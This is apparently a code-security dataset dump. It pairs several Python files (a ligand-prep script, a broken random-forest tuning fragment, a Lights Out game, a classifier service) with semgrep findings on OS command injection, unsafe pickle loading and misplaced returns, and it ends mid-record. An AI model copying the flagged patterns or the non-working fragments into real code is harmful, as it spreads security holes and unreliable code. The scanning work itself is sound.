"semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_42d16f7d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 179, "col": 5, "offset": 6053}, "end": {"line": 179, "col": 23, "offset": 6071}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_8e710882", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 219, "line_end": 219, "column_start": 5, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 219, "col": 5, "offset": 7446}, "end": {"line": 219, "col": 49, "offset": 7490}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_48ea4246", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 219, "line_end": 219, "column_start": 5, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 219, "col": 5, "offset": 7446}, "end": {"line": 219, "col": 49, "offset": 7490}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
12
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "rules.python.lang.security.au...
[ "security", "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 49, 49, 135, 135, 179, 179, 219, 219 ]
[ 49, 49, 135, 135, 179, 179, 219, 219 ]
[ 5, 5, 7, 7, 5, 5, 5, 5 ]
[ 32, 32, 25, 25, 23, 23, 49, 49 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found user-controll...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
prep_ligand_for_dock.py
/Pipeline/prep_ligand_for_dock.py
CCBatIIT/AlGDock
MIT
2024-11-18T18:39:24.426013+00:00
1,690,444,701,000
879757d6da9fbbcf3dcd7f54a55077ba29b2b384
3
{ "blob_id": "879757d6da9fbbcf3dcd7f54a55077ba29b2b384", "branch_name": "refs/heads/master", "committer_date": 1690444701000, "content_id": "5b8d35c9d9ab645f96afa0c0d9134dbbdfa20727", "detected_licenses": [ "MIT" ], "directory_id": "58b519ac1ed300df8b1a03af351194363b9cff81", "extension": "py", "filename": "randomforest.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 160391642, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1900, "license": "MIT", "license_type": "permissive", "path": "/src/algos/randomforest.py", "provenance": "stack-edu-0054.json.gz:569845", "repo_name": "JordanRex/yaaml", "revision_date": 1690444701000, "revision_id": "71099706e0bb6abca7de05a54ed876bf1e1c23d4", "snapshot_id": "8024fad3cf814cb0f20d18d329d020c853b7ed48", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/JordanRex/yaaml/71099706e0bb6abca7de05a54ed876bf1e1c23d4/src/algos/randomforest.py", "visit_date": "2023-08-08T13:37:05.228227" }
2.640625
stackv2
# random forest class for tuning class rf_model(): # Make sure parameters that need to be integers are integers for parameter_name in ['max_depth', 'n_estimators']: params[parameter_name] = int(params[parameter_name]) rf_results = RandomForestClassifier(**params, random_state=randomseed) #rf_results.fit(X_train, y_train) rf_cv_scores = sklearn.model_selection.cross_val_predict(rf_results, X_train, y_train, cv=5, verbose=False) recall_score = sklearn.metrics.recall_score(y_pred=rf_cv_scores, y_true=y_train) precision_score = sklearn.metrics.precision_score(y_pred=rf_cv_scores, y_true=y_train) f1_score = sklearn.metrics.f1_score(y_pred=rf_cv_scores, y_true=y_train) return {'loss': (1 - recall_score), 'status': STATUS_OK, 'params': params, 'iteration': ITERATION} space = { 'max_depth' : hp.quniform('max_depth', 5, 10, 1), 'max_features': hp.choice('max_features', range(20, int((X_train.shape[:][1])/5))), 'criterion': hp.choice('criterion', ["gini", "entropy"]), 'n_estimators': hp.choice('n_estimators', np.arange(200, 1000)) } # Run optimization best = fmin(fn = rf_model.rf_score, space = space, algo = tpe.suggest, max_evals = MAX_EVALS, trials = trials, rstate = np.random.RandomState(randomseed)) best = trials.best_trial['result']['params'] return best, trials def rf_train(best_params): model = RandomForestClassifier(random_state = randomseed) model.set_params(**best_params) model.fit(X_train, y_train) def rf_cv(X_train, y_train, best): model = RandomForestClassifier(**best, verbose=False) rf_cv_scores = sklearn.model_selection.cross_val_predict(model, X_train, y_train, cv=5)
41
45.34
123
19
449
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_f7c6199c7d64b874_69f53b47", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 9, "column_end": 107, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/f7c6199c7d64b874.py", "start": {"line": 18, "col": 9, "offset": 786}, "end": {"line": 18, "col": 107, "offset": 884}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_f7c6199c7d64b874_a285e6c2", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 31, "column_start": 9, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/f7c6199c7d64b874.py", "start": {"line": 31, "col": 9, "offset": 1495}, "end": {"line": 31, "col": 28, "offset": 1514}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 18, 31 ]
[ 18, 31 ]
[ 9, 9 ]
[ 107, 28 ]
[ "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
randomforest.py
/src/algos/randomforest.py
JordanRex/yaaml
MIT
2024-11-18T18:39:24.556163+00:00
1,585,737,203,000
1337813755af1e5191bf7ac6a8d2f4ba9aace96c
2
{ "blob_id": "1337813755af1e5191bf7ac6a8d2f4ba9aace96c", "branch_name": "refs/heads/master", "committer_date": 1585737203000, "content_id": "d182a167721331d0d87065a28827c0bf8bd76e3d", "detected_licenses": [ "Apache-2.0" ], "directory_id": "4bf9157cf697a6a841f2b0d27777480d3f759846", "extension": "py", "filename": "app.py", "fork_events_count": 0, "gha_created_at": 1586399393000, "gha_event_created_at": 1586399394000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 254251889, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2305, "license": "Apache-2.0", "license_type": "permissive", "path": "/packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py", "provenance": "stack-edu-0054.json.gz:569847", "repo_name": "imsobear/pipcook", "revision_date": 1585737203000, "revision_id": "c29f0545a3818b450befb81c97eec238b53f8a84", "snapshot_id": "15434e4dca60841ab30c3bc5b47b7604938b24dd", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/imsobear/pipcook/c29f0545a3818b450befb81c97eec238b53f8a84/packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py", "visit_date": "2021-05-27T10:24:30.397202" }
2.4375
stackv2
#coding: utf-8 import allspark import io import numpy as np import json import threading import pickle import jieba from sklearn.naive_bayes import MultinomialNB def MakeWordsSet(words_file): words_set = set() with open(words_file, 'r', encoding='utf-8') as fp: for line in fp.readlines(): word = line.strip() if len(word)>0 and word not in words_set: words_set.add(word) return words_set def words_dict(all_words_list, stopwords_set=set()): feature_words = [] for t in range(0, len(all_words_list), 1): if not all_words_list[t].isdigit() and all_words_list[t] not in stopwords_set and 1<len(all_words_list[t])<5: feature_words.append(all_words_list[t]) return feature_words def processPredictData(data): all_words_list = pickle.load(open('./model/feature_words.pkl', 'rb')) word_cuts = [] for i in range(len(data)): word_cuts.append(jieba.cut(data[i], cut_all=False) ) stopwords_file = './model/stopwords.txt' stopwords_set = MakeWordsSet(stopwords_file) feature_words = words_dict(all_words_list, stopwords_set) def text_features(text, feature_words): text_words = set(text) features = [1 if word in text_words else 0 for word in feature_words] return features predict_feature_list = [text_features(text, feature_words) for text in word_cuts] return predict_feature_list def process(msg): msg_dict = json.loads(msg) texts = msg_dict['texts'] predict_feature_list = processPredictData(texts) classifier = pickle.load(open('./model/model.pkl', 'rb')) result = classifier.predict(predict_feature_list) final_result = { 'content': list(result) } return bytes(json.dumps(final_result), 'utf-8') def worker(srv, thread_id): while True: msg = srv.read() try: rsp = process(msg) srv.write(rsp) except Exception as e: srv.error(500,bytes('invalid data format', 'utf-8')) if __name__ == '__main__': context = allspark.Context(4) queued = context.queued_service() workers = [] for i in range(10): t = threading.Thread(target=worker, args=(queued, i)) t.setDaemon(True) t.start() workers.append(t) for t in workers: t.join()
80
27.81
117
15
567
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bbf0d4c0eca9b830_59fc8d1e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 22, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bbf0d4c0eca9b830.py", "start": {"line": 32, "col": 22, "offset": 825}, "end": {"line": 32, "col": 74, "offset": 877}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bbf0d4c0eca9b830_abedfe2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 16, "column_end": 60, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bbf0d4c0eca9b830.py", "start": {"line": 51, "col": 16, "offset": 1583}, "end": {"line": 51, "col": 60, "offset": 1627}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 32, 51 ]
[ 32, 51 ]
[ 22, 16 ]
[ 74, 60 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
app.py
/packages/plugins/bayesian-classifier-eas-model-deploy/src/assets/app.py
imsobear/pipcook
Apache-2.0
2024-11-18T18:39:28.611153+00:00
1,537,913,144,000
791217fea6172ce2d2b817154b0e69f217eb406b
3
{ "blob_id": "791217fea6172ce2d2b817154b0e69f217eb406b", "branch_name": "refs/heads/master", "committer_date": 1537913144000, "content_id": "a950b7068615ec07c1866ca77eba121cf162ac82", "detected_licenses": [ "MIT" ], "directory_id": "d5cbd52f8027950b1f91fdf87c32d9019cfcb99d", "extension": "py", "filename": "game.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 150334436, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10744, "license": "MIT", "license_type": "permissive", "path": "/game/game.py", "provenance": "stack-edu-0054.json.gz:569892", "repo_name": "AleksaC/LightsOut", "revision_date": 1537913144000, "revision_id": "f8e0454fccf2742e20409d564acd5ceacf324455", "snapshot_id": "e6902cdf32bae448b6548894229f7ade51a0c5a4", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/AleksaC/LightsOut/f8e0454fccf2742e20409d564acd5ceacf324455/game/game.py", "visit_date": "2020-03-29T20:50:54.684363" }
2.640625
stackv2
from __future__ import division import os import operator import pickle import random from kivy.app import App from kivy.clock import Clock from kivy.uix.label import Label from kivy.uix.popup import Popup from kivy.uix.button import Button from kivy.uix.boxlayout import BoxLayout from kivy.uix.screenmanager import Screen from kivy.graphics import Color, Rectangle from kivy.uix.gridlayout import GridLayout def dot(x1, x2): return sum(map(operator.mul, x1, x2)) class Timer(Label): def __init__(self, **kwargs): super(Timer, self).__init__(**kwargs) self.time = 0 self.text = "Time: 00:00" def start(self): return Clock.schedule_interval(self.update, 1) def update(self, *args): self.time += 1 self.text = "Time: {:02d}:{:02d}".format(self.time // 60, self.time % 60) def stop(self, scheduled): Clock.unschedule(scheduled) def reset(self): self.time = 0 self.text = "Time: 00:00" class Moves(Label): def __init__(self, **kwargs): super(Moves, self).__init__(**kwargs) self.count = 0 self.text = "Moves: 0" def inc(self): self.count += 1 self.text = "Moves: {}".format(self.count) def dec(self): self.count -= 1 self.text = "Moves: {}".format(self.count) def reset(self): self.count = 0 self.text = "Moves: 0" down = os.path.join("data", "down.png") normal = os.path.join("data", "up.png") hint = os.path.join("data", "hint.png") class Light(Button): def __init__(self, up, **kwargs): super(Light, self).__init__(**kwargs) self.toggled = 0 self.always_release = True self.initialize(up) def initialize(self, up): if up: self.toggled = 1 self.background_down = down self.background_normal = normal else: self.toggled = 0 self.background_down = normal self.background_normal = down def on_release(self): self.flip() def flip(self): self.toggled = 0 if self.toggled else 1 self.background_normal, self.background_down = self.background_down, self.background_normal def blink(self, *args): if self.toggled: if self.background_normal == hint: self.background_normal = normal else: self.background_normal = hint else: if self.background_normal == hint: self.background_normal = down else: self.background_normal = hint def restore(self): if self.toggled: self.background_normal = normal else: self.background_normal = down class Blinking: def __init__(self, button, scheduled): self.button = button self.scheduled = scheduled class Game: def __init__(self): self.config = [] self.ones = 0 def load(self): x1 = [0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0] x2 = [1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1] self.config = [random.randint(0, 1) for _ in range(25)] while dot(self.config, x1) % 2 or dot(self.config, x2) % 2: self.config = [random.randint(0, 1) for _ in range(25)] self.ones = sum(self.config) def flip(self, position): self.config[position] = 0 if self.config[position] else 1 class GameGrid(GridLayout): def __init__(self, **kwargs): super(GameGrid, self).__init__(**kwargs) self.cols = 5 self.spacing = 5 self.game = Game() self.moves = Moves() self.timer = Timer() self.manager = None self.player_name = None self.scheduled = None self.toggled_last = None with self.canvas.before: Color(0.75, 0.75, 0.75, 0.75) self.rect = Rectangle(size=self.size, pos=self.pos) self.bind(pos=self.update_rect, size=self.update_rect) self.game.load() self.lights = [] for i in range(25): self.lights.append(Light(self.game.config[i], id=str(i), on_press=self.toggle)) self.add_widget(self.lights[i]) def update_rect(self, instance, value): instance.rect.pos = instance.pos instance.rect.size = instance.size def toggle(self, light): id_ = int(light.id) self.parent.parent.parent.unsched() if self.toggled_last == light.id: self.moves.dec() self.toggled_last = None else: self.moves.inc() self.toggled_last = light.id self.game.flip(id_) self.game.ones += 1 if self.game.config[id_] else -1 if id_ > 4: self.flip(id_ - 5) if id_ < 20: self.flip(id_ + 5) if id_ % 5 > 0: self.flip(id_ - 1) if id_ % 5 < 4: self.flip(id_ + 1) self.check_if_completed() def flip(self, id_): self.lights[id_].flip() self.game.flip(id_) self.game.ones += 1 if self.game.config[id_] else -1 def check_if_completed(self): if self.game.ones == 0: self.timer.stop(self.scheduled) self.manager.new_scores.append((self.player_name, self.moves.count, self.timer.text[6:])) with open(os.path.join("data", "scores.p"), "ab") as scores: pickle.dump((self.player_name, self.moves.count, self.timer.text[6:]), scores) options = GridLayout(cols=3) options.add_widget(Button(text="New game", font_size=20, on_press=self.new_game)) options.add_widget(Button(text="Exit", font_size=20, on_press=self.end)) options.add_widget(Button(text="Back to menu", font_size=20, on_press=self.back)) self.popup = Popup(title="Congratulations!", title_size="22", title_align="center", content=options, size_hint=(None, None), size=(480, 116), auto_dismiss=False) self.popup.open() def new_game(self, btn): self.load() self.scheduled = self.timer.start() self.popup.dismiss() def end(self, btn): App.get_running_app().stop() def back(self, btn): self.popup.dismiss() self.manager.transition.direction = "right" self.manager.current = "menu" def load(self): self.game.load() self.timer.reset() self.moves.reset() for btn in self.lights: btn.initialize(self.game.config[int(btn.id)]) def destroy(self): for light in self.lights: light.initialize(0) def solve(self): def add(x): if x in moves: moves.remove(x) else: moves.append(x) grid = self.game.config[:] moves = [] while sum(grid): for i in range(20): if grid[i]: add(i+5) grid[i] = 0 grid[i + 5] = 0 if grid[i + 5] else 1 if i < 15: grid[i + 10] = 0 if grid[i + 10] else 1 if i % 5 > 0: grid[i + 4] = 0 if grid[i + 4] else 1 if i % 5 < 4: grid[i + 6] = 0 if grid[i + 6] else 1 break else: if grid[20]: if grid[21]: if grid[22]: add(1) grid[:3] = (1,) * 3 grid[6] = 1 else: add(2) grid[1:4] = (1,) * 3 grid[7] = 1 elif grid[22]: add(4) grid[3] = grid[4] = grid[9] = 1 else: add(0) add(1) grid[2] = grid[5] = grid[6] = 1 elif grid[21]: if grid[22]: add(0) grid[0] = grid[1] = grid[5] = 1 else: add(0) add(3) grid[:6] = (1,) * 6 grid[8] = 1 else: add(3) grid[2:5] = (1,) * 3 grid[8] = 1 return moves def next_move(self): moves = self.solve() return Blinking(self.lights[moves[0]], Clock.schedule_interval(self.lights[moves[0]].blink, 0.5)) class GameScreen(Screen): def __init__(self, **kwargs): super(GameScreen, self).__init__(**kwargs) self.blinking = None self.pressed = False self.game = GameGrid(size_hint_min_y=620) header = BoxLayout(orientation="horizontal") header.add_widget(self.game.timer) header.add_widget(self.game.moves) box = BoxLayout(orientation="vertical") box.add_widget(header) box.add_widget(self.game) footer = BoxLayout(orientation="horizontal", size_hint_max_y=40) footer.add_widget(Button(text="Hint", on_press=self.hint)) footer.add_widget(Button(text="Restart", on_press=self.restart)) footer.add_widget(Button(text="Back to menu", on_press=self.back)) layout = BoxLayout(orientation="vertical") layout.add_widget(box) layout.add_widget(footer) self.add_widget(layout) def on_pre_enter(self): self.game.load() def on_enter(self): self.game.scheduled = self.game.timer.start() def on_leave(self): self.game.destroy() self.game.timer.stop(self.game.scheduled) self.game.timer.reset() if self.blinking: self.unsched() def back(self, btn): self.parent.transition.direction = "right" self.parent.current = "menu" def hint(self, btn): if self.blinking is None: self.blinking = self.game.next_move() def unsched(self): if self.blinking is not None: Clock.unschedule(self.blinking.scheduled) self.blinking.button.restore() self.blinking = None def restart(self, btn): self.game.timer.stop(self.game.scheduled) self.game.load() if self.blinking: self.unsched() self.game.scheduled = self.game.timer.start()
361
28.76
105
22
2,647
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f5beac4c9043f97c_8ff94341", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 199, "line_end": 199, "column_start": 17, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": 